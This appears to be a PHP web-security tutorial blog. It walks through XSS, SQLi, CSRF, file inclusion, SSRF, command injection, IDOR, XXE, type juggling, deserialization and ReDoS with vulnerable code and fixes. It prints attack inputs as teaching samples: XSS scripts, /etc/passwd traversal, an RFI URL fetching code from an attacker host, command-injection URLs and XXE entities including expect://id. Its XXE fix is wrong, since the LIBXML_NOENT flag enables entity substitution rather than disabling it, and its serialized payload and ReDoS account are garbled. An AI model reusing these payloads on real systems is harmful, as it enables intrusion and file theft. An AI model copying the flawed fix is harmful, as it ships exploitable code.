20kilograma`s blog

My Blog for Tech

PHP beyond SQLi (detailed) - its security, vulnerable code examples & improvement

image

» About

PHP is a dynamically typed, server-side scripting language, created in the 1990s. This language has been out for a while, and it’s today’s standard when someone mentions back-end development for the web. When PHP was created, one of its most important features was that it could be directly embedded into HTML and create dynamic content, which led to its wide spread in the 2000s. One of the biggest problems for developers in the early versions of PHP was its Security. Early versions of PHP didn’t have that many in-built security features like today, and PHP has improved since then sincerely. A big part of the community still thinks it’s the same like it was back then. Blaming PHP when problems arise nowadays because you didn’t sanitize user input, handle sessions properly, etc. is clearly a skill issue. In my opinion, even today’s community is still way too unaware of the issues that may arise from writing vulnerable code. That is why I am writing this blog; hopefully someone will catch up with more stuff and learn something new.
If someone is wondering why the name of this blog is “PHP beyond SQLi” (I totally didn’t get the inspiration for the title from someone else 😏), I just wanted to make a little joke because many developers (I’m talking about those soydevs that blame PHP when it comes to security) today only think about SQL Injection and preparing the statements because they heard they should do that, and maybe they heard about XSS too.

» Outline

Cross-Site Scripting(XSS)

We are starting with the easiest one (to understand) and, at the same time, the most common vulnerability that has been really long out there. XSS is an attack in which an attacker injects malicious javascript into the application and it returns it to the users in an unsafe way. If we search for XSS on Hackerone, we can see ~2500 pages in the results, which is an insane number if you think about it for just one platform. XSS is very underestimated, even today, and can be achieved in various ways. If an attacker finds an XSS on the target application, with the victim visiting the part where the payload is triggered, an attacker can basically do all the actions the victim can do on his own account on the website (e.g, changing victims email address, stealing his private info, steal cookies/stuff in localStorage, etc.). I’ll cover the basics here, including dos and don’ts, along with a few examples.
There are three main types/classifications of XSS: Reflected, Stored and DOM XSS. We are only interested in the first two (Reflected and Stored) because the third one happens when the DOM gets manipulated into executing arbitrary JavaScript and it arises in the client-side code, so it’s not of our interest. It’s very easy to tell the difference between Reflected and Stored XSS, Reflected happens when an attacker injects his payload. We don’t handle it appropriately, and it gets now reflected on our website but not stored, unlike in a case of Stored. It’s okay if you don’t understand; we’ll make an easy example here.

image

GET /app.php?username=<script>alert()</script> HTTP/1.1
Host: example.com
Accept: */*

and then we get something like this in the response:

HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Hello, <script>alert()</script>

As you may have guessed, in this case it’s Reflected XSS. It’s not getting saved somewhere, so there is no way for it to be persistently there (fun fact: the other name for Stored XSS is Persistent XSS, hopefully it makes more sense that way).
Ok now, let’s fix that now by using htmlspecialchars() function which is used to handle the user supplied input properly and transfer the special characters to Html entities.

image

The response will look like this now:

HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Hello, &lt;script&gt;alert()&lt;/script&gt;

Now there is no way to inject a new tag or escape something, for example, if the user-supplied input is reflected like this: <input value="USER_SUPPLIED_INPUT"> An Attacker may try to escape it with double quotes <input value="" MALICIOUS"> but that won’t work because the double quotes are escaped too.
Vanilla PHP is not frequently used today for new projects, but PHP frameworks like Laravel or Symfony are go-to, so we will make few examples with Laravel too. What’s important when using laravel is to always use built-in echo method by blade templates on user supplied input, because blade templates render it as plain text and it’s secure. You are probably asking yourself now, when is the XSS stored?
It’s simple, there must be some kind of storage (to a database, as some file, e.g.), and then later the victim receives that malicious data. The point of the story is to always properly handle the user-supplied input.
The most simple example for Stored XSS is a Social Media Application with the functionality to create a new post with a title and content.

POST /app.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

title=<script>alert()</script>&content=test

In this case the title parameter is vulnerable to XSS. That post stays forever there, and it has way more impact because now the attacker doesn’t have to lure the victim to visit his link and it stays. That’s why normally Stored XSS is ranked “High” severity vulnerability and Reflected “Medium” (this doesn’t mean Reflected XSS can’t be High or Critical, it’s all about the impact).
Another thing I want to cover is the javascript-pseudo protocol. We have normal protocols like http:, ftp:, but we also have so-called pseudo protocols related to the app and not the network, like javascript:. Why is it important? It’s important because we can execute arbitrary javascript and achieve XSS of course.
Everywhere where an user can supply a link to the application and the link gets returned/stored it can be vulnerable to this attack.
javascript:alert() - simple payload to test this. If you want to see how this can look like, you can read this report on HackerOne. It’s also important to cover this on the part of the app where you allow the user to supply HTML and nothing else. This attack can be achieved using certain event-handlers on these html tags: a, iframe and form.
Most of the vulnerabilities appear from the user input, and it’s because developers are not careful with it, and after some time they forget it, so they write whatever-like code.
It’s always important to keep track of it, and yeah, you may have written secure code in 10 places where that input was used, but probably there is some other place you just forgot. This doesn’t only apply to XSS but to most of the vulnerabilities I will mention in this blog. 
Now let’s get back to the Reflected XSS, if you thought a bit about it, you could’ve came to a conclusion that it can only happen using GET request. Well, yes and no, if we have Reflected XSS via POST or some other req-method it will be considered as “Self-XSS”, an attack where you, yourself must do some certain actions to execute javascript, not really impactful you may think. If you don’t have proper CSRF protection (which we will talk later about in this blog), then it can actually be escalated to impactful POST-Based Reflected XSS. (you can escalate so-called “Self-Stored XSS’s” this way too)

Let’s take this as example:

image

As you can see, there is no “CSRF-Token” in the HTML form or somewhere else, so it’s possible to do a simple CSRF attack like this:

image

We are using this code snippet and hosting it on our own website, and then all we have to do is lure the victim to visit our website, the POST request will be sent and the malicious javascript executed.

If you’re using Laravel with Blade Template Engine, use the built-in blade echo’s or htmlspecialchars() like above and it’ll be covered as plaintext.
If you want to dynamically use user-supplied URL, you can use urlencode() function that’ll cover it for you and do proper URL Encoding.
urlencode("http://example.com"); -> http%3A%2F%2Fexample.com

That’ll be it for XSS, there is a loooooot more, you can’t imagine how much there is to it but that’s just basics of basics and that’s good for starters 😀.

SQL Injection(SQLi)

Okay, let’s talk now about the most popular one among community. I won’t talk too much about SQLi, as it’s already very well-known issue and it’s not something hard to understand. I think most people reading this blog know what SQLi is, but for those who don’t, shortly; it’s a vulnerability that allows an attacker to inject their own SQL and interact with the database of the application. We’ll start by using these three code snippets as examples, and all three have different scenarios.

DON'TS

image
or
image
and
image

DO IT LIKE THIS

image

The first two examples are similar; in the first one, it’s chained in the variable, and in the second one, it’s passed directly into the string. The third example is vulnerable even though prepare() is used. You should never pass it directly(in a case it’s an user-controllable input); you must bind the parameters, like in the last example.
In my opinion, the two most important “divisions” of SQLi to understand Imo are Second-Order SQLi and Blind SQLi. Second-Order SQLi is very similar to Stored XSS; it’s when the application takes the user-supplied input (btw, if there was an issue, it would be First-Order SQLi, but that’s not how it’s called because it’s the classical one; look at the example above), stores that for later use, and then later, when it’s used and handled by other HTTP requests, it’s handled wrong, and the issue occurs there.
Blind SQLi, as its name says, is a situation where the part of the application that’s vulnerable to SQLi doesn’t return any relevant response from the database for the SQL Query, so it’s not easy to know if that part of the app is actually vulnerable. Typically, these SQLi’s are a bit harder to exploit, but not impossible. There are techniques out there to exploit these cases too.

Cross-Site Request Forgery(CSRF)

This vulnerability has been less and less seen in the wild through the years, but nevertheless, it’s still there. Cross-Site Request Forgery is a security vulnerability that allows an attacker to perform some actions from some other source that the victim does not intend to perform. Here’s an example for that:

image

That was the classic example. Of course, all relevant and sensitive actions should be secured against CSRF, like: changing email addresses, adding stuff to carts, deleting accounts, etc. CSRF on some of the actions can be really critical, like, for example, changing an email address, which leads to direct account takeover via the “Forget Password” function.

This issue is not something hard to fix, it’s actually quite simple. Use the Anti-CSRF tokens and if you don’t have a problem with restricting the cookies from Cross-Site requests, then you could also enforce the SameSite attribute to cookies. It’s essential to use the Anti-CSRF tokens but also to do proper checks for them, which many developers, from what I have seen, miss out on. These are the questions you should ask yourself, and later check the code:


CSRF vulnerabilities are really underrated; personally, I would say they’re one of the most used vulnerabilities to create chains of vulnerabilities that have greater impacts. Even CSRFs on some functionalities like login/log-out, changing some preferences on an account, etc. can really be of help for an attacker; that’s why it’s important to keep all of it secure.
An example for this is let’s say you have a Self-XSS on your account, what you can do is:

From that, you can create a very nice phishing attack, like We are sorry, could you re-login here

File Inclusions/Path Traversals

Next on the list are RFI/LFI and Path Traversals. File Inclusions are mostly found in PHP applications; they are the result of using include() and require() function incorrectly. People sometimes can’t make the difference between those two similar vulnerabilities (LFI and RFI). That’s okay, because here I’ll try to explain it with some easy examples.  The easiest way to explain it:
When an attacker is exploiting RFI, he uses a remote file, while on the other side, LFI uses local files when they are attacking servers; even the name of the vulnerability tells you that. While exploiting LFI you can get response from the local system files, for example /etc/passwd or /etc/shadow.
http://localhost/app.php?file=/etc/passwd

On the other hand, while exploiting RFI you can upload files from a remote server which in 99% of the cases will result in RCE(Remote Code Execution). Nowadays it’s very rare to see RFI in the wild, because including files from remote location is disabled in PHP by default (allow_url_include). Example for RFI: http://localhost/app.php?file=http://attackers.website.com/somemaliciousfile. You could execute malicious code from the somemaliciousfile file and use it for malicious intention.

Take this one-liner for example: <?php include $_GET['file']; ?>
An attacker now can make us of additional trailing slashes and dots to access some sensitive file, like this:
http://localhost/app.php?file=fileYouShouldSee.php
http://localhost/app.php?file=../../secret

You may be thinking now, How can I protect against something like this? Well, it depends on the situation, but the first thing you should consider is to rethink: do you need to execute that file or do you just need the content inside of it? If not, then you can use the readfile() function. It’s only displaying the contents of the file and not executing it. This way, you are making escalation of the issue to some server-side injection very less likely.

Here’s an example with readfile(), this is your directory:

index.php: <?php readfile($_GET['file']); ?>
test.php: <?php echo "<strong>Test</strong>"; ?>

Now when you send this request to the server http://localhost/?file=test.php it will just reply with the content of the file test.php and it will not actually interpret the code:
image

Now this is what Path Traversal is, you can read the contents of the files and obtain some sensitive information from the files you shouldn’t be able to see, but not execute them. It’s like a lower-grade LFI. You can fix that now by using basename() and realpath() functions.
basename() function returns the base name of a file if the path of the file is provided as a parameter to the basename() function, e.g
/home/test/asdf.txt -> asdf.txt
realpath() function returns the absolute pathname of the file and removes the additional ../, ./, e.g, which are used to often to exploit the vulnerability.
../test.txt -> /home/test/test.txt
When you combine those two, it should look like this now: <?php readfile(basename(realpath($_GET['file']))); ?>, now if someone provides something like ../../../etc/passwd it will first remove all the ../ and give the absolute pathname which is /etc/passwd, after that basename() function will just save it as passwd and that is what we want. Now the attacker will only be able to read the files in that same directory, and you can make a simple check for that, if there are any sensitive files there.

Server-Side Request Forgery(SSRF)

In contrast to CSRF, SSRF is a web security vulnerability that allows an attacker to cause the server-side application to make requests to an unintended location, it’s mostly some internal service on the app which normal user has no access too. We’ll start with this code example:
image

As you can see, there is a straightforward user-supplied URL to load the picture from another location. An attacker can do something like this now http://example.com/?image=http://localhost/admin hit the localhost and exploit it further. Also what’s characteristic for this vulnerability is ability to try out different protocols like: ftp://, file://, gopher://, e.g http://example.com/?image=file://etc/passwd.
There is a whole other classification of SSRF, which is called Blind SSRF. As the name says, it’s blind, meaning that we can’t see the response (the result of the endpoint we are hitting) but we are hitting it. These types of SSRF’s have a lower impact and are mostly used to scan open ports on the target machine, DoS…

SSRF is not as easy to fix as the previous vulnerabilities we talked about; there’s not a certain function to fix it. The best would be if the application wouldn’t allow users to provide URLs, but if the application must work like that, then there are other ways to prevent that. You can try “whitelisting” stuff, which means adding certain URLs and locations that are allowed to be supplied and everything else is not. While we are at it, almost never do “blacklisting” (its meaning is opposite of whitelisting,  those things that you list are forbidden and everything else isn’t) to try to fix any of these vulnerabilities, because almost always sooner or later a bypass will be found for that. An extra step of taking care is not accepting other protocols/schemas than the ones needed.

If you’ve paid attention to this blog, you may be able to guess which vulnerability is present in that picture above, aside from SSRF. If you’ve guessed XSS, that’s correct. In this case, an attacker can just upload .html file with his malicious client-side code and send it like this http://example.com/?image=http://attacker.com/evil.html

Remote Code Execution(RCE) & Command Injection

People mix these two vulnerabilities many times because of their similarities; it doesn’t really matter because when you have one, you can have another almost always if you want. These two are at the top of the pyramid and the most important ones to be fixed with the biggest impact. By their names you can figure out, RCE is a vulnerability which allows an attacker to run arbitary code on victims machine and Command Injection is a vulnerability which allows an attacker to execute OS commands on victims machine.

image image

There are way more complex examples for both Command Injection & RCE, but these two are the most simple ones. Avoid using dangerous functions like eval(), system(), shell_exec() etc. on user input, and if you really have to use it on user provided input, make sure to escape it properly. If you know basics of Shell in Linux then you may guess how that can be escaped on the first example.

First Example Exploit: http://example.com/?q=asdf%20&&%20ls%20-la
Second Example Exploit: http://example.com/?q=system("ls%20-la");
%20 = SPACE URL-ENCODED

Like I’ve said, there are a lot more ways to achieve RCE or Command Injection, e.g., File upload, where an attacker can upload .php somewhere and have the HTTP server execute it when we visit that location, but covering all that would take ages here to explain tenderly. What’s important for these two is to have other server-side issues fixed, because in most cases, when we see RCE or Command Injection, it’s not directly but actually escalated from another issue.

Insecure Direct Object References(IDOR)

IDOR is a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly. It’s one of the easiest to understand, and it’s been very popular lately. http://example.com/account/54433/edit This is the easiest example. Let’s say 54433 is our account ID. If there is no protection, an attacker can just change the ID to someone else’s and then edit information on the victim’s account. That would be the case of an IDOR.

Of course, the IDs don’t always have to be integers, they can be any text, so it’s improtant to look everywhere when you’re looking for these vulnerabilities. I’ll make one more complex example here. Let’s say this is a request where you purchase an item from the online store.

POST /store/purchase-item.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

item_id=3234&account_id=54433

Try to guess alone what an attacker could do here 🤔. If you’ve said to change the account ID to someone else’s, good job. By changing to someone else’s ID, it charges $ from the victim’s account and that is a serious issue that can be abused.

How IDORs can be prevented in PHP is very simple, you just have to ensure that access control checks are implemented in the code to verify that the user has permission to access the requested resource and if not just send back 403 response code(http_response_code(403);). Of course it’s easy to say that, because in many places it can be easily overlooked and later become an issue, but that’s why pentest services exist and if your website is very important to you, I would really recommend it to you.

XML External Entity(XXE) Injection

This one is only improtant for you if you use XML to transmit data on the API somewhere. These are very important to fix because they lead to server-side injection/exposure actions and are almost always critical.
XXE Injection arises when an application processes XML input and allows the inclusion of external entities, which can be exploited by attackers to read local files, perform SSRF, or execute other malicious actions. Here is an example, let’s say you have this request:

POST /account HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<user>
<id>54433</id>
</user>

What an attacker can do is:
POST /account HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user>
<id>&xxe;</id>
</user>

This way an attacker exposed the /etc/passwd from the server, which is obviously bad. Also an attacker can achieve SSRF this way:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://localhost/"> ]>
or Command Injection with the help of PHP Wrappers this way:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "expect://id"> ]>

There are other ways to exploit this security vulnerability, but these are the most popular ones. XXE Injection is not really seen often, but it’s still very important to secure the spots of the app that use XML data processing. To fix this vulnerability, I would suggest you validate the user input, make sure it’s in the expected format, and disable external entity loading. You can disable external entity loading by using the LIBXML_NOENT flag in the loadXML(YOUR_XML, LIBXML_NOENT); function.

Type Juggling in PHP

Type Juggling is a dangerous feature in PHP that can create an opening for a vulnerability if the developer is not careful when comparing values. In PHP there are two comparison modes, loose == and strict===. You can see the difference between those two below:
image
image

There might be a problem if a developer uses a loose comparison on authorization/authentication part of the app. Let’s say, for example, you have a request where you need to submit a secret code, and instead of the code, you submit an integer null like this:
{
"code": 0
}


image

This would work in PHP 5 and go through; it won’t work on the newer versions of PHP. That’s why I would suggest you update and keep using strict comparison on the auth parts of the application.

PHP Object Injection(Insecure Deserialization)

PHP Object Injection is a vulnerability where an attacker can manipulate the serialized data and do malicious actions with it. It appears when the developer uses unserialize() function on user-input. Take this source code for example.

image

Now anyone there can send the serialized data through the x POST parameter and change what amount of cash (the attribute) they have. This is the easiest example, and the serialized data payload would look something like this:

O:7:"Account":2:{s:8:"username";"yourname";s:4:"cash";10000;}

That’s how serialized data looks in PHP and as you can see, we edited the cash to 10000. Now you send that through x POST parameter, and it’ll work. This vulnerability can lead to RCE on certain parts of the application, but also to some access control bugs, etc.
It’s not really hard to mitigate it; you just shouldn’t serialize your data. If you must do it, then don’t accept the serialized data from the user.

PHP ReDoS

PHP Regex expression DOS or shortly ReDoS is a bug where, the regex check is getting bypassed by going over the limit with the number of charachters set. The preg_match function has default limit of 1000000, so it does the check that many times and then after that just stops, so anything after first 1000000 will be ignored. This can get dangerous and lead to access control bugs, rate limit bypasses, etc.

image

One way to fix this would be to just change the configuration for pcre.backtrack_limit in the php.ini file.

» Conclusion

It took me some time to write this all, so next time you hear your friend complaining about PHP and its security, share this blog with him! In all seriousness now, there is a lot more, and this is just what came from the top of my head. It’s not always easy to write secure code, and everyone makes issues, they are there to be fixed. In the future you can research more about these vulnerabilities on platforms like Portswigger or similar. Hopefully you learned something new from this, I’ll be writing some more blogs soon, till then 👋.